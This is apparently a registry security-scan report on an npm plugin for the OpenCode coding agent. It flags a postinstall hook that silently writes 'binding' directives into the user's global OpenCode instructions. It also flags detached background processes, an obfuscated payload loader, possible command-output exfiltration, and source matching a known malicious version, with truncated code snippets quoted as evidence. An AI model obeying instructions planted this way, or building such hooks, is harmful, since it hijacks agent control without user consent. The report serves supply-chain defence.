registry / @herjarsa/omo-meta-governor / 0.59.0

@herjarsa/omo-meta-governor@0.59.0

Self-judging agent orchestration layer for OpenCode. Reads memory, scores sessions, dispatches decisions.

AI Security Review

scanned 3d ago · by lpm-firewall-ai

The automatic postinstall changes global OpenCode settings and activates package-supplied binding instructions without affirmative setup consent. The behavior is scoped to this package's plugin, so it supports a warning for agent extension lifecycle risk rather than a publish block.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Installing the package through npm runs its postinstall hook, unless the opt-out environment variable is set.

Impact

Future OpenCode sessions may follow package-supplied directives without a separate affirmative setup action.

Mechanism

The script writes instructions under the user's OpenCode plugin directory and adds that path to the global OpenCode instructions array. The generated text frames plugin directives as binding.

AI rationale

Evidence

package.jsonscripts/bootstrap-agents-md.mjs~/.config/opencode/plugins/omo-meta-governor/instructions.md~/.config/opencode/opencode.jsonc

Decision evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.

Evidence for warning

The package postinstall hook automatically runs the bootstrap script.
The bootstrap targets the user's OpenCode plugin instructions and global configuration.
The generated instructions present the plugin's directives as binding agent instructions.
The hook adds the plugin instruction path to OpenCode's instructions array and writes the updated configuration.
The bootstrap runs unless an environment variable is set to opt out; it does not request affirmative consent.
The CLI and runtime also contain scoped legacy instruction handling and memory nudges.

Evidence against

The new instructions file is specific to this package's OpenCode plugin.
Legacy AGENTS.md cleanup is limited to content containing the package's installed marker.
The bootstrap performs local file changes; the inspected bootstrap code has no network endpoint.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalFilesystemNetworkShell

Source & flagged code

16 flagged

package.jsonView file

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/lib.jsView file

6const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=Zm("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=ie(t,["-c","import urllib.request, json; d=jso... L23:

Critical

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution with blocking evidence.

dist/lib.jsView on unpkg · L6

2`)r++;continue}if(s==="/"&&a==="*"){r+=2;while(r<e.length&&!(e[r]==="*"&&e[r+1]==="/"))r++;r+=2;continue}t+=s,r++}return t}function $0(e,t){let r=Tv(e);if(!r.exists)return{changed:... L3: `;return wv(e,s,"utf8"),{changed:!0,wrote:!0}}catch(s){return{changed:!1,wrote:!1,error:s instanceof Error?s.message:String(s)}}}var pn=()=>{};import{spawn as Pv,spawnSync as It}fr... L4: `}catch{l=JSON.stringify({timestamp:a.timestamp,level:e,message:t,data:"[unserializable]"})+`

High

Child Process

Package source references child process execution.

dist/lib.jsView on unpkg · L2

High

Shell

Package source references shell execution.

dist/lib.jsView on unpkg · L2

177content_hash = excluded.content_hash L178: `).run(e.id,e.name,e.description,e.repo_url,e.installs??0,e.skill_id,e.download_count??0,e.last_synced??t,e.content_hash),Promise.resolve(e.id)}setSkillMaterializedAt(e,t){this.db.... L179: `)}var Zt=(e)=>(t,r,o,n)=>{let i=o?Object.assign(o,{async:!1}):{async:!1},s=t._zod.run({value:r,issues:[]},i);if(s instanceof Promise)throw new He;if(s.issues.length){let a=new(n?....

High

Eval

Package source references dynamic code evaluation.

dist/lib.jsView on unpkg · L177

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/lib.jsView on unpkg · L6

4`}catch{l=JSON.stringify({timestamp:a.timestamp,level:e,message:t,data:"[unserializable]"})+` L5: `}try{Ev(We,l)}catch{}if(e==="error")console.error(`[meta-governor] ${t}`)}function w(e,t,r){Gv(e,t,r)}var jv,Nv,We,Lv=10485760,Fm=5;var ze=Ze(()=>{pn();jv=[/eyJ[a-zA-Z0-9_-]+\.[a-... L6: const OMO_MG_WATCH = 1;

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/lib.jsView on unpkg · L4

•matchType = normalized_sha256 matchedPackage = @herjarsa/omo-meta-governor@0.58.0 matchedPath = dist/index.js matchedIdentity = npm:[redacted]:0.58.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/lib.jsView on unpkg

dist/mcp-server.jsView file

1var FS=Object.create;var{getPrototypeOf:GS,defineProperty:$u,getOwnPropertyNames:VS}=Object;var Lh=Object.prototype.hasOwnProperty;function HS(e){return this[e]}var BS,WS,Uh=(e,t,n... L2: `:""},this._extScope=e,this._scope=new $e.Scope({parent:e}),this._nodes=[new Uv]}toString(){return this._root.render(this.opts)}name(e){return this._scope.name(e)}scopeName(e){retu... L3: || (${s} == "string" && ${r} && ${r} == +${r})`).assign(a,E._`+${r}`);return;case"integer":o.elseIf(E._`${s} === "boolean" || ${r} === null L4: || (${s} === "string" && ${r} && ${r} == +${r} && !(${r} % 1))`).assign(a,E._`+${r}`);return;case"boolean":o.elseIf(E._`${r} === "false" || ${r} === 0 || ${r} === null`).assign(a,!... L5: || ${s} === "boolean" || ${r} === null`).assign(a,E._`[${r}]`)}}}function lR({gen:e,pare

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/mcp-server.jsView on unpkg · L1

scripts/bootstrap-agents-md.mjsView file

8* opencode process still see the plugin's directives. Also strips the L9: * old AGENTS.md snippet (v0.38.x backward-compat) and patches L10: * opencode.jsonc `instructions` array. L11: * ... L25: */ L26: import { existsSync, mkdirSync, readFileSync, writeFileSync } from "node:fs"; L27: import { homedir } from "node:os"; ... L34: const TARGET = join(homedir(), ".config", "opencode", "plugins", "omo-meta-governor", "instructions.md"); L35: const OLD_TARGET = join(homedir(), ".config", "opencode", "AGENTS.md"); L36: const OPENCODE_JSONC = join(homedir(), ".config", "opencode", "opencode.jsonc"); L37: const INSTRUCTION_REL = "plugins/omo-meta-governor/instructions.md"; ... L251: const newRaw = JSON.stringify(data, null, 2) + "\n";

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

scripts/bootstrap-agents-md.mjsView on unpkg · L8

dist/index.jsView file

6Trigger-reachable chain: manifest.main -> dist/index.js L6: const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=LS("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=Ye(t,["-c","import urllib.request, json; d=jso... L23:

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.jsView on unpkg · L6

•matchType = previous_version_dangerous_delta matchedPackage = @herjarsa/omo-meta-governor@0.57.0 matchedIdentity = npm:[redacted]:0.57.0 similarity = 0.714 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

6Trigger-reachable command-output exfiltration chain: manifest.main -> dist/index.js L6: const OMO_MG_WATCH = 1; L7: const {spawn} = require("child_process"); L8: const run = () => { ... L20: setInterval(run, 30_000); L21: `],{stdio:"ignore",detached:!0,shell:!1,windowsHide:!0,env:{...process.env,OMO_MG_SPAWN:"1"}});else o=LS("python3",["-m","graphify",".","--no-viz","--watch"],{cwd:e,stdio:"ignore",... L22: `)[0]??"").match(/graphifyy\s*\(?([0-9]+\.[0-9]+\.[0-9]+[^\s)]*)/);if(n)return n[1]}catch{}for(let t of["python","python3"])try{let o=Ye(t,["-c","import urllib.request, json; d=jso... L23:

dist/skills/chore.tar.gzView file

•path = dist/skills/chore.tar.gz kind = high_entropy_blob sizeBytes = 132415 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

dist/skills/chore.tar.gzView on unpkg

•path = dist/skills/chore.tar.gz kind = compressed_blob sizeBytes = 132415 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

dist/skills/chore.tar.gzView on unpkg

Source & flagged code

16 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/bootstrap-agents-md.mjs || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/lib.jsView file

Findings

4 Critical10 High5 Medium4 Low

CriticalSame File Env Network Executiondist/lib.js

CriticalAi Agent Control Hijackscripts/bootstrap-agents-md.mjs

CriticalTrigger Reachable Dangerous Capabilitydist/index.js

CriticalPrevious Version Dangerous Deltadist/index.js

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processdist/lib.js

HighShelldist/lib.js

HighEvaldist/lib.js

HighCommand Output Exfiltrationdist/lib.js

HighObfuscated Payload Loaderdist/mcp-server.js

HighTrigger Reachable Command Output Exfiltrationdist/index.js

HighRuntime Package Install

Affected versions and remediation

This report applies to @herjarsa/omo-meta-governor@0.59.0.

See all versions of @herjarsa/omo-meta-governor for other recorded verdicts.

Review the evidence and your use of @herjarsa/omo-meta-governor@0.59.0 before allowing it. Restrict the permissions described in this report.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.

Evidence last updated: 2026-10-20 08:17:49.160Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.